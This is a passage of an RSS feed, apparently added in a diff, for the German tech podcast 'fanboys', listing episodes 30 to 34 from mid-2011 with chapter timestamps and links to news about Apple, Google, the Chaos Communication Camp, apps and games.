+ <sc:chapter start="00:14:14" title="Verpincher vermisst" href="http://www.apple.com/pr/bios/" />
+ <sc:chapter start="00:17:02" title="Webkit Geburtstag" href="http://www.webkit.org/" />
+ <sc:chapter start="00:17:58" title="Linux Geburtstag" href="http://groups.google.com/group/comp.os.minix/msg/b813d52cbc5a044b?dmode=source" />
+ <sc:chapter start="00:20:21" title="cmdrtaco Abschied" href="http://www.wired.com/underwire/2011/08/slashdot-founder-resigns/" />
+ <sc:chapter start="00:22:27" title="Jailbreakme Autor jetzt Intern bei Apple" href="http://www.macrumors.com/2011/08/25/comex-the-hacker-behind-jailbreakme-com-hired-as-apple-intern/" />
+ <sc:chapter start="00:24:22" title="Neues aus dem Leberkäseimperium" />
+ <sc:chapter start="00:29:31" title="23andme" href="https://www.23andme.com/" />
+ <sc:chapter start="00:43:53" title="Yank den Killbuffer!" />
+ <sc:chapter start="00:47:39" title="candyjapan.com" href="http://candyjapan.com/" />
+ <sc:chapter start="00:52:39" title="codecademy.com" href="http://www.codecademy.com/#!/exercise/0" />
+ <sc:chapter start="00:55:29" title="PC-Notruf" />
+ <sc:chapter start="01:00:14" title="Photoshop Alternativen" />
+ <sc:chapter start="01:06:40" title="Flapcraft" href="http://itunes.apple.com/us/app/flapcraft/id455990152?mt=8" />
+ <sc:chapter start="01:09:45" title="Kurbelradios" />
+ <sc:chapter start="01:16:38" title="Martin bei Trackback" href="http://trackback.fritz.de/2011/08/23/trb-243-ccc-streit-like-button-gamescom-fanboy-comiconkel/" />
+ <sc:chapter start="01:17:56" title="Deus Ex: Human Revolution" href="http://en.wikipedia.org/wiki/Deus_Ex:_Human_Revolution" />
+ <sc:chapter start="01:27:37" title="Rausschmeisser" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#34:" />
+ </item>
+ <item>
+ <title>Episode #33 - Geboren im Camp</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Geboren im Camp</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN033.mp3" length="48493212" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN033</guid>
+ <pubDate>Thu, 18 Aug 2011 23:02:43 +0200</pubDate>
+ <itunes:duration>01:40:53</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:11 Marcel
+00:00:14 und Martin
+00:01:42 Apple Store was down
+00:03:50 CCC und DDB
+00:35:12 Mac OS X 10.7.1
+00:39:28 Rumorecke
+00:41:34 Google kauft Motorola
+00:46:25 Was ist mit 280North?
+00:49:40 Subjot und Heello
+00:58:35 Twitter Activity Stream
+01:01:34 Musik, iPod.app und Intents
+01:12:55 Kraft durch Freunde (sic)
+01:15:29 Recovery Disk Assistant
+01:21:59 Homefolder - Wo und Wie?
+01:27:44 Ruhezustand und Wifi
+01:28:54 Soulver
+01:32:19 Alphas
+01:37:04 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:14</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:42</td><td><a href="http://www.macrumors.com/2011/08/17/apples-online-stores-mysteriously-offline/" target="_blank">Apple Store was down</td></tr><tr><td>00:03:50</td><td><a href="http://netzpolitik.org/2011/kommentar-vorstand-schmeist-daniel-domscheit-berg-aus-dem-ccc/" target="_blank">CCC und DDB</td></tr><tr><td>00:35:12</td><td><a href="http://www.macrumors.com/2011/08/16/apple-releases-os-x-10-7-1/" target="_blank">Mac OS X 10.7.1</td></tr><tr><td>00:39:28</td><td><a href="http://www.macrumors.com/2011/08/16/white-and-black-iphone-5-parts-leak/" target="_blank">Rumorecke</td></tr><tr><td>00:41:34</td><td><a href="http://techcrunch.com/2011/08/15/breaking-google-buys-motorola-for-12-5-billion/" target="_blank">Google kauft Motorola</td></tr><tr><td>00:46:25</td><td><a href="http://280north.com/" target="_blank">Was ist mit 280North?</td></tr><tr><td>00:49:40</td><td><a href="http://subjot.com/" target="_blank">Subjot und Heello</td></tr><tr><td>00:58:35</td><td><a href="http://mashable.com/2011/08/10/twitter-activity-tabs/" target="_blank">Twitter Activity Stream</td></tr><tr><td>01:01:34</td><td>Musik, iPod.app und Intents</td></tr><tr><td>01:12:55</td><td><a href="http://www.kraft-durch-freunde.de/" target="_blank">Kraft durch Freunde (sic)</td></tr><tr><td>01:15:29</td><td><a href="http://support.apple.com/kb/dl1433" target="_blank">Recovery Disk Assistant</td></tr><tr><td>01:21:59</td><td>Homefolder - Wo und Wie?</td></tr><tr><td>01:27:44</td><td>Ruhezustand und Wifi</td></tr><tr><td>01:28:54</td><td><a href="http://www.acqualia.com/soulver/" target="_blank">Soulver</td></tr><tr><td>01:32:19</td><td><a href="http://www.syfy.com/alphas" target="_blank">Alphas</td></tr><tr><td>01:37:04</td><td><a href="http://www.youtube.com/watch?v=U5X4N2exOsU&t=0m16s" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:14" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:42" title="Apple Store was down" href="http://www.macrumors.com/2011/08/17/apples-online-stores-mysteriously-offline/" />
+ <sc:chapter start="00:03:50" title="CCC und DDB" href="http://netzpolitik.org/2011/kommentar-vorstand-schmeist-daniel-domscheit-berg-aus-dem-ccc/" />
+ <sc:chapter start="00:35:12" title="Mac OS X 10.7.1" href="http://www.macrumors.com/2011/08/16/apple-releases-os-x-10-7-1/" />
+ <sc:chapter start="00:39:28" title="Rumorecke" href="http://www.macrumors.com/2011/08/16/white-and-black-iphone-5-parts-leak/" />
+ <sc:chapter start="00:41:34" title="Google kauft Motorola" href="http://techcrunch.com/2011/08/15/breaking-google-buys-motorola-for-12-5-billion/" />
+ <sc:chapter start="00:46:25" title="Was ist mit 280North?" href="http://280north.com/" />
+ <sc:chapter start="00:49:40" title="Subjot und Heello" href="http://subjot.com/" />
+ <sc:chapter start="00:58:35" title="Twitter Activity Stream" href="http://mashable.com/2011/08/10/twitter-activity-tabs/" />
+ <sc:chapter start="01:01:34" title="Musik, iPod.app und Intents" />
+ <sc:chapter start="01:12:55" title="Kraft durch Freunde (sic)" href="http://www.kraft-durch-freunde.de/" />
+ <sc:chapter start="01:15:29" title="Recovery Disk Assistant" href="http://support.apple.com/kb/dl1433" />
+ <sc:chapter start="01:21:59" title="Homefolder - Wo und Wie?" />
+ <sc:chapter start="01:27:44" title="Ruhezustand und Wifi" />
+ <sc:chapter start="01:28:54" title="Soulver" href="http://www.acqualia.com/soulver/" />
+ <sc:chapter start="01:32:19" title="Alphas" href="http://www.syfy.com/alphas" />
+ <sc:chapter start="01:37:04" title="Rausschmeisser" href="http://www.youtube.com/watch?v=U5X4N2exOsU&amp;t=0m16s" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#33:" />
+ </item>
+ <item>
+ <title>Episode #32 - Explodiergedöhns</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Explodiergedöhns</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN032.mp3" length="25880576" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN032</guid>
+ <pubDate>Sat, 13 Aug 2011 19:17:16 +0200</pubDate>
+ <itunes:duration>01:01:27</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mt Dominik
+00:00:12 und Martin
+00:00:30 Vom Chaos Communication Camp
+00:03:25 R0ket
+00:05:55 Blinkenlights Player
+00:09:08 Die Strugatzki-Brüder oder das homöostatische Weltbild
+00:10:07 Stalker
+00:13:10 Is this the Mobile Gadget World We Created?
+00:13:26 fairphone.com
+00:18:50 citizenreporter.org
+00:20:22 Wallmart ohne Digitalmusikverkauf
+00:22:17 Apple more evil than Exxon
+00:26:55 Apple und das 10.1 Tablet
+00:30:31 Gerüchteküche: Event, neue Hardware
+00:34:05 Neue Bilder vom Apple UFO
+00:35:20 Kindle Erfahrungen
+00:43:40 Google+ jetzt mit Spielen
+00:47:21 Camp NSFW
+00:48:04 Brummschleife
+00:49:05 The Last Rocket
+00:50:35 Ja, hier knisterts. USB Bug in Lion. ARGL. Sorry.
+00:53:09 Kosmo Spin
+00:57:32 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mt Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:30</td><td><a href="http://events.ccc.de/camp/2011" target="_blank">Vom Chaos Communication Camp</td></tr><tr><td>00:03:25</td><td><a href="http://r0ket.badge.events.ccc.de/" target="_blank">R0ket</td></tr><tr><td>00:05:55</td><td><a href="http://www.youtube.com/watch?v=40OnG_K0sj0" target="_blank">Blinkenlights Player</td></tr><tr><td>00:09:08</td><td><a href="http://events.ccc.de/camp/2011/Fahrplan/events/4492.en.html" target="_blank">Die Strugatzki-Brüder oder das homöostatische Weltbild</td></tr><tr><td>00:10:07</td><td><a href="http://en.wikipedia.org/wiki/S.T.A.L.K.E.R.:_Shadow_of_Chernobyl" target="_blank">Stalker</td></tr><tr><td>00:13:10</td><td><a href="http://events.ccc.de/camp/2011/Fahrplan/events/4502.en.html" target="_blank">Is this the Mobile Gadget World We Created?</td></tr><tr><td>00:13:26</td><td><a href="http://fairphone.com/en" target="_blank">fairphone.com</td></tr><tr><td>00:18:50</td><td><a href="http://citizenreporter.org/" target="_blank">citizenreporter.org</td></tr><tr><td>00:20:22</td><td><a href="http://www.tuaw.com/2011/08/10/walmart-closing-down-its-digital-music-store/" target="_blank">Wallmart ohne Digitalmusikverkauf</td></tr><tr><td>00:22:17</td><td><a href="http://techcrunch.com/2011/08/09/apple-exxon-valuable-company/" target="_blank">Apple more evil than Exxon</td></tr><tr><td>00:26:55</td><td><a href="http://www.pocket-lint.com/news/41467/samsung-galaxy-101-apple-court" target="_blank">Apple und das 10.1 Tablet</td></tr><tr><td>00:30:31</td><td><a href="http://www.macrumors.com/2011/08/12/no-apple-media-event-on-september-7th/" target="_blank">Gerüchteküche: Event, neue Hardware</td></tr><tr><td>00:34:05</td><td><a href="http://www.macrumors.com/2011/08/12/cupertino-org-posts-more-details-about-apples-new-spaceship-campus/" target="_blank">Neue Bilder vom Apple UFO</td></tr><tr><td>00:35:20</td><td>Kindle Erfahrungen</td></tr><tr><td>00:43:40</td><td><a href="http://mashable.com/2011/08/11/google-games-goes-live/" target="_blank">Google+ jetzt mit Spielen</td></tr><tr><td>00:47:21</td><td><a href="http://tim.geekheim.de/2011/08/12/nsfw033-percanat/" target="_blank">Camp NSFW</td></tr><tr><td>00:48:04</td><td><a href="http://huffduffer.com/basedrive/tags/brummschleife" target="_blank">Brummschleife</td></tr><tr><td>00:49:05</td><td><a href="http://shauninman.com/lastrocket/" target="_blank">The Last Rocket</td></tr><tr><td>00:50:35</td><td>Ja, hier knisterts. USB Bug in Lion. ARGL. Sorry.</td></tr><tr><td>00:53:09</td><td><a href="http://itunes.apple.com/de/app/kosmo-spin/id404446780?mt=8" target="_blank">Kosmo Spin</td></tr><tr><td>00:57:32</td><td><a href="http://www.youtube.com/watch?v=--Vaz9jW054" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mt Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:30" title="Vom Chaos Communication Camp" href="http://events.ccc.de/camp/2011" />
+ <sc:chapter start="00:03:25" title="R0ket" href="http://r0ket.badge.events.ccc.de/" />
+ <sc:chapter start="00:05:55" title="Blinkenlights Player" href="http://www.youtube.com/watch?v=40OnG_K0sj0" />
+ <sc:chapter start="00:09:08" title="Die Strugatzki-Brüder oder das homöostatische Weltbild" href="http://events.ccc.de/camp/2011/Fahrplan/events/4492.en.html" />
+ <sc:chapter start="00:10:07" title="Stalker" href="http://en.wikipedia.org/wiki/S.T.A.L.K.E.R.:_Shadow_of_Chernobyl" />
+ <sc:chapter start="00:13:10" title="Is this the Mobile Gadget World We Created?" href="http://events.ccc.de/camp/2011/Fahrplan/events/4502.en.html" />
+ <sc:chapter start="00:13:26" title="fairphone.com" href="http://fairphone.com/en" />
+ <sc:chapter start="00:18:50" title="citizenreporter.org" href="http://citizenreporter.org/" />
+ <sc:chapter start="00:20:22" title="Wallmart ohne Digitalmusikverkauf" href="http://www.tuaw.com/2011/08/10/walmart-closing-down-its-digital-music-store/" />
+ <sc:chapter start="00:22:17" title="Apple more evil than Exxon" href="http://techcrunch.com/2011/08/09/apple-exxon-valuable-company/" />
+ <sc:chapter start="00:26:55" title="Apple und das 10.1 Tablet" href="http://www.pocket-lint.com/news/41467/samsung-galaxy-101-apple-court" />
+ <sc:chapter start="00:30:31" title="Gerüchteküche: Event, neue Hardware" href="http://www.macrumors.com/2011/08/12/no-apple-media-event-on-september-7th/" />
+ <sc:chapter start="00:34:05" title="Neue Bilder vom Apple UFO" href="http://www.macrumors.com/2011/08/12/cupertino-org-posts-more-details-about-apples-new-spaceship-campus/" />
+ <sc:chapter start="00:35:20" title="Kindle Erfahrungen" />
+ <sc:chapter start="00:43:40" title="Google+ jetzt mit Spielen" href="http://mashable.com/2011/08/11/google-games-goes-live/" />
+ <sc:chapter start="00:47:21" title="Camp NSFW" href="http://tim.geekheim.de/2011/08/12/nsfw033-percanat/" />
+ <sc:chapter start="00:48:04" title="Brummschleife" href="http://huffduffer.com/basedrive/tags/brummschleife" />
+ <sc:chapter start="00:49:05" title="The Last Rocket" href="http://shauninman.com/lastrocket/" />
+ <sc:chapter start="00:50:35" title="Ja, hier knisterts. USB Bug in Lion. ARGL. Sorry." />
+ <sc:chapter start="00:53:09" title="Kosmo Spin" href="http://itunes.apple.com/de/app/kosmo-spin/id404446780?mt=8" />
+ <sc:chapter start="00:57:32" title="Rausschmeisser" href="http://www.youtube.com/watch?v=--Vaz9jW054" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#32:" />
+ </item>
+ <item>
+ <title>Episode #31 - Knister Knister Knäuschen</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Knister Knister Knäuschen</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN031.mp3" length="58838956" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN031</guid>
+ <pubDate>Fri, 05 Aug 2011 23:13:34 +0200</pubDate>
+ <itunes:duration>02:02:26</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:09 Marcel
+00:00:11 Tim
+00:00:14 und Martin
+00:01:37 Galaxy Tab 10.1 mit Honeycomb
+00:19:26 Amazon Marketplace: Free App of the Day
+00:23:16 Filevault 2: Admin Accounts, Guest Accounts
+00:29:29 Google und die Patente
+00:45:59 BBC iPlayer Erfahrungen und Tipps
+00:49:51 House of Cards
+00:50:48 Superb Lyrebird
+00:52:28 Kindle gekauft
+01:08:14 iCloud.com Beta
+01:11:51 Keyboardlayout zum Programmieren
+01:17:50 Aufwachprobleme mit Lion, Kopfhörereingang am MBA
+01:22:56 Gesundheit HD
+01:23:56 Karate Champ
+01:25:47 Samba-Performance und Lion
+01:31:15 USB Knistern und Livestream-Probleme
+01:39:02 Belkin RockStar
+01:42:12 Marker 23
+01:43:34 Child of Eden
+01:52:38 Bastion
+01:55:01 Scream'N'Run
+01:57:55 Monster Soup
+01:59:56 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="https://twitter.com/#!/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:09</td><td><a href="https://twitter.com/#!/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:11</td><td><a href="https://twitter.com/#!/timpritlove" target="_blank">Tim</td></tr><tr><td>00:00:14</td><td><a href="https://twitter.com/#!/map" target="_blank">und Martin</td></tr><tr><td>00:01:37</td><td><a href="http://www.samsung.com/global/microsite/galaxytab/10.1/index.html" target="_blank">Galaxy Tab 10.1 mit Honeycomb</td></tr><tr><td>00:19:26</td><td><a href="http://shiftyjelly.wordpress.com/2011/08/02/amazon-app-store-rotten-to-the-core/" target="_blank">Amazon Marketplace: Free App of the Day</td></tr><tr><td>00:23:16</td><td><a href="http://support.apple.com/kb/HT4790" target="_blank">Filevault 2: Admin Accounts, Guest Accounts</td></tr><tr><td>00:29:29</td><td><a href="http://techcrunch.com/2011/08/04/gentlemen-take-this-outside/" target="_blank">Google und die Patente</td></tr><tr><td>00:45:59</td><td><a href="https://twitter.com/BBCiPlayerGLBL" target="_blank">BBC iPlayer Erfahrungen und Tipps</td></tr><tr><td>00:49:51</td><td><a href="http://en.wikipedia.org/wiki/House_of_Cards" target="_blank">House of Cards</td></tr><tr><td>00:50:48</td><td><a href="http://www.youtube.com/watch?v=VjE0Kdfos4Y" target="_blank">Superb Lyrebird</td></tr><tr><td>00:52:28</td><td><a href="https://kindle.amazon.com/" target="_blank">Kindle gekauft</td></tr><tr><td>01:08:14</td><td><a href="http://icloud.com" target="_blank">iCloud.com Beta</td></tr><tr><td>01:11:51</td><td>Keyboardlayout zum Programmieren</td></tr><tr><td>01:17:50</td><td>Aufwachprobleme mit Lion, Kopfhörereingang am MBA</td></tr><tr><td>01:22:56</td><td><a href="http://itunes.apple.com/us/app/gesundheit!-hd/id449509647?mt=8" target="_blank">Gesundheit HD</td></tr><tr><td>01:23:56</td><td><a href="http://itunes.apple.com/us/app/karate-champ/id335387077?mt=8" target="_blank">Karate Champ</td></tr><tr><td>01:25:47</td><td>Samba-Performance und Lion</td></tr><tr><td>01:31:15</td><td>USB Knistern und Livestream-Probleme</td></tr><tr><td>01:39:02</td><td><a href="http://www.belkin.com/IWCatProductPage.process?Product_Id=404634" target="_blank">Belkin RockStar</td></tr><tr><td>01:42:12</td><td>Marker 23</td></tr><tr><td>01:43:34</td><td><a href="http://en.wikipedia.org/wiki/Child_of_Eden" target="_blank">Child of Eden</td></tr><tr><td>01:52:38</td><td><a href="http://en.wikipedia.org/wiki/Bastion_(video_game)" target="_blank">Bastion</td></tr><tr><td>01:55:01</td><td><a href="http://www.youtube.com/watch?v=12w-nDvf2i4" target="_blank">Scream'N'Run</td></tr><tr><td>01:57:55</td><td><a href="http://itunes.apple.com/us/app/monster-soup/id424617127?mt=8" target="_blank">Monster Soup</td></tr><tr><td>01:59:56</td><td><a href="http://www.youtube.com/watch?v=Sqz5dbs5zmo" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" href="https://twitter.com/#!/monkeydom" />
+ <sc:chapter start="00:00:09" title="Marcel" href="https://twitter.com/#!/zeitweise" />
+ <sc:chapter start="00:00:11" title="Tim" href="https://twitter.com/#!/timpritlove" />
+ <sc:chapter start="00:00:14" title="und Martin" href="https://twitter.com/#!/map" />
+ <sc:chapter start="00:01:37" title="Galaxy Tab 10.1 mit Honeycomb" href="http://www.samsung.com/global/microsite/galaxytab/10.1/index.html" />
+ <sc:chapter start="00:19:26" title="Amazon Marketplace: Free App of the Day" href="http://shiftyjelly.wordpress.com/2011/08/02/amazon-app-store-rotten-to-the-core/" />
+ <sc:chapter start="00:23:16" title="Filevault 2: Admin Accounts, Guest Accounts" href="http://support.apple.com/kb/HT4790" />
+ <sc:chapter start="00:29:29" title="Google und die Patente" href="http://techcrunch.com/2011/08/04/gentlemen-take-this-outside/" />
+ <sc:chapter start="00:45:59" title="BBC iPlayer Erfahrungen und Tipps" href="https://twitter.com/BBCiPlayerGLBL" />
+ <sc:chapter start="00:49:51" title="House of Cards" href="http://en.wikipedia.org/wiki/House_of_Cards" />
+ <sc:chapter start="00:50:48" title="Superb Lyrebird" href="http://www.youtube.com/watch?v=VjE0Kdfos4Y" />
+ <sc:chapter start="00:52:28" title="Kindle gekauft" href="https://kindle.amazon.com/" />
+ <sc:chapter start="01:08:14" title="iCloud.com Beta" href="http://icloud.com" />
+ <sc:chapter start="01:11:51" title="Keyboardlayout zum Programmieren" />
+ <sc:chapter start="01:17:50" title="Aufwachprobleme mit Lion, Kopfhörereingang am MBA" />
+ <sc:chapter start="01:22:56" title="Gesundheit HD" href="http://itunes.apple.com/us/app/gesundheit!-hd/id449509647?mt=8" />
+ <sc:chapter start="01:23:56" title="Karate Champ" href="http://itunes.apple.com/us/app/karate-champ/id335387077?mt=8" />
+ <sc:chapter start="01:25:47" title="Samba-Performance und Lion" />
+ <sc:chapter start="01:31:15" title="USB Knistern und Livestream-Probleme" />
+ <sc:chapter start="01:39:02" title="Belkin RockStar" href="http://www.belkin.com/IWCatProductPage.process?Product_Id=404634" />
+ <sc:chapter start="01:42:12" title="Marker 23" />
+ <sc:chapter start="01:43:34" title="Child of Eden" href="http://en.wikipedia.org/wiki/Child_of_Eden" />
+ <sc:chapter start="01:52:38" title="Bastion" href="http://en.wikipedia.org/wiki/Bastion_(video_game)" />
+ <sc:chapter start="01:55:01" title="Scream'N'Run" href="http://www.youtube.com/watch?v=12w-nDvf2i4" />
+ <sc:chapter start="01:57:55" title="Monster Soup" href="http://itunes.apple.com/us/app/monster-soup/id424617127?mt=8" />
+ <sc:chapter start="01:59:56" title="Rausschmeisser" href="http://www.youtube.com/watch?v=Sqz5dbs5zmo" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#31:" />
+ </item>
+ <item>
+ <title>Episode #30 - Podcastalarmknopf</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Podcastalarmknopf</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN030.mp3" length="47613408" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN030</guid>
+ <pubDate>Fri, 29 Jul 2011 22:39:57 +0200</pubDate>
+ <itunes:duration>01:39:03</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:12 Marcel
+00:00:16 und Martin
+00:01:18 Retrozirkel
+00:03:47 Nintendo 3DS wird billiger
+00:08:38 Spielsalon Kassel
+00:10:37 Alphaland
+00:14:21 Im Internet geboren
+00:26:42 Lion Tidbits
+00:27:02 Trippletap to Dictionary
+00:28:57 Webkit 2
+00:31:08 Sandboxing
+00:35:01 Emojis 🎉
+00:37:13 http://💩.la
+00:37:59 Webinspector
+00:40:06 Lock Einstellungen
+00:44:32 Network Link Conditioner
+00:48:01 Tabswipen mit BetterTouchTool
+00:50:33 Feedback: USK im AppStore
+00:53:34 Feedback: Google+ ab 18
+00:56:07 Feedback: Displays und 10.7
+00:58:30 Feedback: Chrome & iTunes
+01:04:20 Feedback: Hibernate auf Desktops
+01:06:06 Hörerpick: Unthinkable
+01:08:44 The Story of Electronics
+01:09:43 Conflict materials
+01:11:12 Feedback: Filevault 2
+01:15:48 Feedback: Hillegass und Xcode 4
+01:20:30 Hörerpick: Toontastic
+01:22:53 Feedback: Alte Betriebssyteme
+01:23:28 Martin verpincht sich
+01:25:16 This American Life: When Patents Attack!
+01:30:11 Webm Patentsorgen
+01:32:07 BBC iPlayer jetzt global
+01:34:14 Humble Indie Bundle 3
+01:36:42 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="https://twitter.com/#!/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="https://twitter.com/#!/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:16</td><td><a href="https://twitter.com/#!/map" target="_blank">und Martin</td></tr><tr><td>00:01:18</td><td><a href="http://retrozirkel.de/" target="_blank">Retrozirkel</td></tr><tr><td>00:03:47</td><td><a href="http://www.slashgear.com/nintendo-possibly-taking-a-loss-on-every-3ds-unit-sold-29168390/" target="_blank">Nintendo 3DS wird billiger</td></tr><tr><td>00:08:38</td><td><a href="http://www.spielsalonkassel.com/authorgames/" target="_blank">Spielsalon Kassel</td></tr><tr><td>00:10:37</td><td><a href="http://www.newgrounds.com/portal/view/569046" target="_blank">Alphaland</td></tr><tr><td>00:14:21</td><td><a href="http://www.pcwelt.de/news/Polizei-fordert-Alarmknopf-fuer-das-Internet-3312824.html" target="_blank">Im Internet geboren</td></tr><tr><td>00:26:42</td><td>Lion Tidbits</td></tr><tr><td>00:27:02</td><td>Trippletap to Dictionary</td></tr><tr><td>00:28:57</td><td>Webkit 2</td></tr><tr><td>00:31:08</td><td>Sandboxing</td></tr><tr><td>00:35:01</td><td>Emojis 🎉</td></tr><tr><td>00:37:13</td><td><a href="http://www.panic.com/blog/2011/07/the-worlds-first-emoji-domain/" target="_blank">http://💩.la</td></tr><tr><td>00:37:59</td><td>Webinspector</td></tr><tr><td>00:40:06</td><td>Lock Einstellungen</td></tr><tr><td>00:44:32</td><td>Network Link Conditioner</td></tr><tr><td>00:48:01</td><td><a href="http://blog.boastr.net/" target="_blank">Tabswipen mit BetterTouchTool</td></tr><tr><td>00:50:33</td><td>Feedback: USK im AppStore</td></tr><tr><td>00:53:34</td><td>Feedback: Google+ ab 18</td></tr><tr><td>00:56:07</td><td>Feedback: Displays und 10.7</td></tr><tr><td>00:58:30</td><td>Feedback: Chrome & iTunes</td></tr><tr><td>01:04:20</td><td>Feedback: Hibernate auf Desktops</td></tr><tr><td>01:06:06</td><td><a href="http://en.wikipedia.org/wiki/Unthinkable" target="_blank">Hörerpick: Unthinkable</td></tr><tr><td>01:08:44</td><td><a href="http://www.youtube.com/watch?v=sW_7i6T_H78" target="_blank">The Story of Electronics</td></tr><tr><td>01:09:43</td><td><a href="http://en.wikipedia.org/wiki/Conflict_minerals" target="_blank">Conflict materials</td></tr><tr><td>01:11:12</td><td>Feedback: Filevault 2</td></tr><tr><td>01:15:48</td><td>Feedback: Hillegass und Xcode 4</td></tr><tr><td>01:20:30</td><td><a href="http://launchpadtoys.com/toontastic/" target="_blank">Hörerpick: Toontastic</td></tr><tr><td>01:22:53</td><td>Feedback: Alte Betriebssyteme</td></tr><tr><td>01:23:28</td><td>Martin verpincht sich</td></tr><tr><td>01:25:16</td><td><a href="http://www.thisamericanlife.org/radio-archives/episode/441/when-patents-attack" target="_blank">This American Life: When Patents Attack!</td></tr><tr><td>01:30:11</td><td><a href="http://www.heise.de/newsticker/meldung/Zwoelf-Firmen-haben-angeblich-Patentansprueche-gegen-WebM-1288148.html" target="_blank">Webm Patentsorgen</td></tr><tr><td>01:32:07</td><td><a href="http://itunes.apple.com/de/app/bbc-iplayer-global/id449130604?ls=1&mt=8" target="_blank">BBC iPlayer jetzt global</td></tr><tr><td>01:34:14</td><td><a href="http://www.humblebundle.com/" target="_blank">Humble Indie Bundle 3</td></tr><tr><td>01:36:42</td><td><a href="http://www.youtube.com/watch?v=OrkAuwaoFGg" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="https://twitter.com/#!/monkeydom" />
+ <sc:chapter start="00:00:12" title="Marcel" href="https://twitter.com/#!/zeitweise" />
+ <sc:chapter start="00:00:16" title="und Martin" href="https://twitter.com/#!/map" />
+ <sc:chapter start="00:01:18" title="Retrozirkel" href="http://retrozirkel.de/" />
+ <sc:chapter start="00:03:47" title="Nintendo 3DS wird billiger" href="http://www.slashgear.com/nintendo-possibly-taking-a-loss-on-every-3ds-unit-sold-29168390/" />
+ <sc:chapter start="00:08:38" title="Spielsalon Kassel" href="http://www.spielsalonkassel.com/authorgames/" />
+ <sc:chapter start="00:10:37" title="Alphaland" href="http://www.newgrounds.com/portal/view/569046" />
+ <sc:chapter start="00:14:21" title="Im Internet geboren" href="http://www.pcwelt.de/news/Polizei-fordert-Alarmknopf-fuer-das-Internet-3312824.html" />
+ <sc:chapter start="00:26:42" title="Lion Tidbits" />
+ <sc:chapter start="00:27:02" title="Trippletap to Dictionary" />
+ <sc:chapter start="00:28:57" title="Webkit 2" />
+ <sc:chapter start="00:31:08" title="Sandboxing" />
+ <sc:chapter start="00:35:01" title="Emojis 🎉" />
+ <sc:chapter start="00:37:13" title="http://💩.la" href="http://www.panic.com/blog/2011/07/the-worlds-first-emoji-domain/" />
+ <sc:chapter start="00:37:59" title="Webinspector" />
+ <sc:chapter start="00:40:06" title="Lock Einstellungen" />
+ <sc:chapter start="00:44:32" title="Network Link Conditioner" />
